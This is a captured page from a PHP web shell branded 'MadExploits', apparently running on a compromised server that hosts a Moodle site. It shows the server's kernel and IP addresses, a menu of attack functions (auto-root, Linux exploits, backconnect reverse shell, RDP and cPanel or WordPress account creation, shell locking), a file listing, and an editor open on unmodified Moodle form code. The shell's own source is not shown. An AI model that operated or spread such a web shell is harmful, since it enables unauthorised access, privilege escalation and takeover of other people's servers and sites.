Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.17.165
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
mod /
feedback /
[ HOME SHELL ]
Name
Size
Permission
Action
amd
[ DIR ]
drwxr-xr-x
backup
[ DIR ]
drwxr-xr-x
classes
[ DIR ]
drwxr-xr-x
db
[ DIR ]
drwxr-xr-x
item
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
pix
[ DIR ]
drwxr-xr-x
templates
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
yui
[ DIR ]
drwxr-xr-x
ajax.php
1.83
KB
-rw-r--r--
analysis.php
3.28
KB
-rw-rw-r--
analysis_course.php
5.53
KB
-rw-rw-r--
analysis_to_excel.php
4.05
KB
-rw-r--r--
choose_group_form.php
906
B
-rw-r--r--
complete.php
5.02
KB
-rw-rw-r--
complete_guest.php
1.15
KB
-rw-r--r--
delete_template.php
3.52
KB
-rw-rw-r--
deprecatedlib.php
2.06
KB
-rw-r--r--
edit.php
6.04
KB
-rw-rw-r--
edit_form.php
5.91
KB
-rw-rw-r--
edit_item.php
3.89
KB
-rw-rw-r--
export.php
5.32
KB
-rw-r--r--
import.php
9.17
KB
-rw-rw-r--
import_form.php
2.09
KB
-rw-rw-r--
index.php
3.91
KB
-rw-rw-r--
lib.php
109.53
KB
-rw-rw-r--
mapcourse.php
2.35
KB
-rw-rw-r--
mod_form.php
9.37
KB
-rw-r--r--
print.php
2.3
KB
-rw-rw-r--
settings.php
1.07
KB
-rw-r--r--
show_entries.php
6.14
KB
-rw-rw-r--
show_entries_anonym.php
1.13
KB
-rw-r--r--
show_nonrespondents.php
11.78
KB
-rw-rw-r--
styles.css
2.33
KB
-rw-rw-r--
tabs.php
3.36
KB
-rw-r--r--
upgrade.txt
3.23
KB
-rw-rw-r--
use_templ.php
2.9
KB
-rw-rw-r--
use_templ_form.php
1.98
KB
-rw-rw-r--
version.php
1.22
KB
-rw-rw-r--
view.php
6.18
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mod_form.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * print the form to add or edit a feedback-instance * * @author Andreas Grabs * @license http://www.gnu.org/copyleft/gpl.html GNU Public License * @package mod_feedback */ //It must be included from a Moodle page if (!defined('MOODLE_INTERNAL')) { die('Direct access to this script is forbidden.'); } require_once($CFG->dirroot.'/course/moodleform_mod.php'); class mod_feedback_mod_form extends moodleform_mod { public function definition() { global $CFG, $DB; $editoroptions = feedback_get_editor_options(); $mform =& $this->_form; //------------------------------------------------------------------------------- $mform->addElement('header', 'general', get_string('general', 'form')); $mform->addElement('text', 'name', get_string('name', 'feedback'), array('size'=>'64')); $mform->setType('name', PARAM_TEXT); $mform->addRule('name', null, 'required', null, 'client'); $mform->addRule('name', get_string('maximumchars', '', 255), 'maxlength', 255, 'client'); $this->standard_intro_elements(get_string('description', 'feedback')); //------------------------------------------------------------------------------- $mform->addElement('header', 'timinghdr', get_string('availability')); $mform->addElement('date_time_selector', 'timeopen', get_string('feedbackopen', 'feedback'), array('optional' => true)); $mform->addElement('date_time_selector', 'timeclose', get_string('feedbackclose', 'feedback'), array('optional' => true)); //------------------------------------------------------------------------------- $mform->addElement('header', 'feedbackhdr', get_string('questionandsubmission', 'feedback')); $options=array(); $options[1] = get_string('anonymous', 'feedback'); $options[2] = get_string('non_anonymous', 'feedback'); $mform->addElement('select', 'anonymous', get_string('anonymous_edit', 'feedback'), $options); // check if there is existing responses to this feedback if (is_numeric($this->_instance) AND $this->_instance AND $feedback = $DB->get_record("feedback", array("id"=>$this->_instance))) { $completed_feedback_count = feedback_get_completeds_group_count($feedback); } else { $completed_feedback_count = false; } if ($completed_feedback_count) { $multiple_submit_value = $feedback->multiple_submit ? get_string('yes') : get_string('no'); $mform->addElement('text', 'multiple_submit_static', get_string('multiplesubmit', 'feedback'), array('size'=>'4', 'disabled'=>'disabled', 'value'=>$multiple_submit_value)); $mform->setType('multiple_submit_static', PARAM_RAW); $mform->addElement('hidden', 'multiple_submit', ''); $mform->setType('multiple_submit', PARAM_INT); $mform->addHelpButton('multiple_submit_static', 'multiplesubmit', 'feedback'); } else { $mform->addElement('selectyesno', 'multiple_submit', get_string('multiplesubmit', 'feedback')); $mform->addHelpButton('multiple_submit', 'multiplesubmit', 'feedback'); } $mform->addElement('selectyesno', 'email_notification', get_string('email_notification', 'feedback')); $mform->addHelpButton('email_notification', 'email_notification', 'feedback'); $mform->addElement('selectyesno', 'autonumbering', get_string('autonumbering', 'feedback')); $mform->addHelpButton('autonumbering', 'autonumbering', 'feedback'); //------------------------------------------------------------------------------- $mform->addElement('header', 'aftersubmithdr', get_string('after_submit', 'feedback')); $mform->addElement('selectyesno', 'publish_stats', get_string('show_analysepage_after_submit', 'feedback')); $mform->addElement('editor', 'page_after_submit_editor', get_string("page_after_submit", "feedback"), null, $editoroptions); $mform->setType('page_after_submit_editor', PARAM_RAW); $mform->addElement('text', 'site_after_submit', get_string('url_for_continue', 'feedback'), array('size'=>'64', 'maxlength'=>'255')); $mform->setType('site_after_submit', PARAM_TEXT); $mform->addHelpButton('site_after_submit', 'url_for_continue', 'feedback'); //------------------------------------------------------------------------------- $this->standard_coursemodule_elements(); //------------------------------------------------------------------------------- // buttons $this->add_action_buttons(); } public function data_preprocessing(&$default_values) { $editoroptions = feedback_get_editor_options(); if ($this->current->instance) { // editing an existing feedback - let us prepare the added editor elements (intro done automatically) $draftitemid = file_get_submitted_draft_itemid('page_after_submit'); $default_values['page_after_submit_editor']['text'] = file_prepare_draft_area($draftitemid, $this->context->id, 'mod_feedback', 'page_after_submit', false, $editoroptions, $default_values['page_after_submit']); $default_values['page_after_submit_editor']['format'] = $default_values['page_after_submitformat']; $default_values['page_after_submit_editor']['itemid'] = $draftitemid; } else { // adding a new feedback instance $draftitemid = file_get_submitted_draft_itemid('page_after_submit_editor'); // no context yet, itemid not used file_prepare_draft_area($draftitemid, null, 'mod_feedback', 'page_after_submit', false); $default_values['page_after_submit_editor']['text'] = ''; $default_values['page_after_submit_editor']['format'] = editors_get_preferred_format(); $default_values['page_after_submit_editor']['itemid'] = $draftitemid; } } /** * Allows module to modify the data returned by form get_data(). * This method is also called in the bulk activity completion form. * * Only available on moodleform_mod. * * @param stdClass $data the form data to be modified. */ public function data_postprocessing($data) { parent::data_postprocessing($data); if (isset($data->page_after_submit_editor)) { $data->page_after_submitformat = $data->page_after_submit_editor['format']; $data->page_after_submit = $data->page_after_submit_editor['text']; if (!empty($data->completionunlocked)) { // Turn off completion settings if the checkboxes aren't ticked $autocompletion = !empty($data->completion) && $data->completion == COMPLETION_TRACKING_AUTOMATIC; if (!$autocompletion || empty($data->completionsubmit)) { $data->completionsubmit=0; } } } } /** * Enforce validation rules here * * @param array $data array of ("fieldname"=>value) of submitted data * @param array $files array of uploaded files "element_name"=>tmp_file_path * @return array **/ public function validation($data, $files) { $errors = parent::validation($data, $files); // Check open and close times are consistent. if ($data['timeopen'] && $data['timeclose'] && $data['timeclose'] < $data['timeopen']) { $errors['timeclose'] = get_string('closebeforeopen', 'feedback'); } return $errors; } public function add_completion_rules() { $mform =& $this->_form; $mform->addElement('checkbox', 'completionsubmit', '', get_string('completionsubmit', 'feedback')); // Enable this completion rule by default. $mform->setDefault('completionsubmit', 1); return array('completionsubmit'); } public function completion_rule_enabled($data) { return !empty($data['completionsubmit']); } }
Close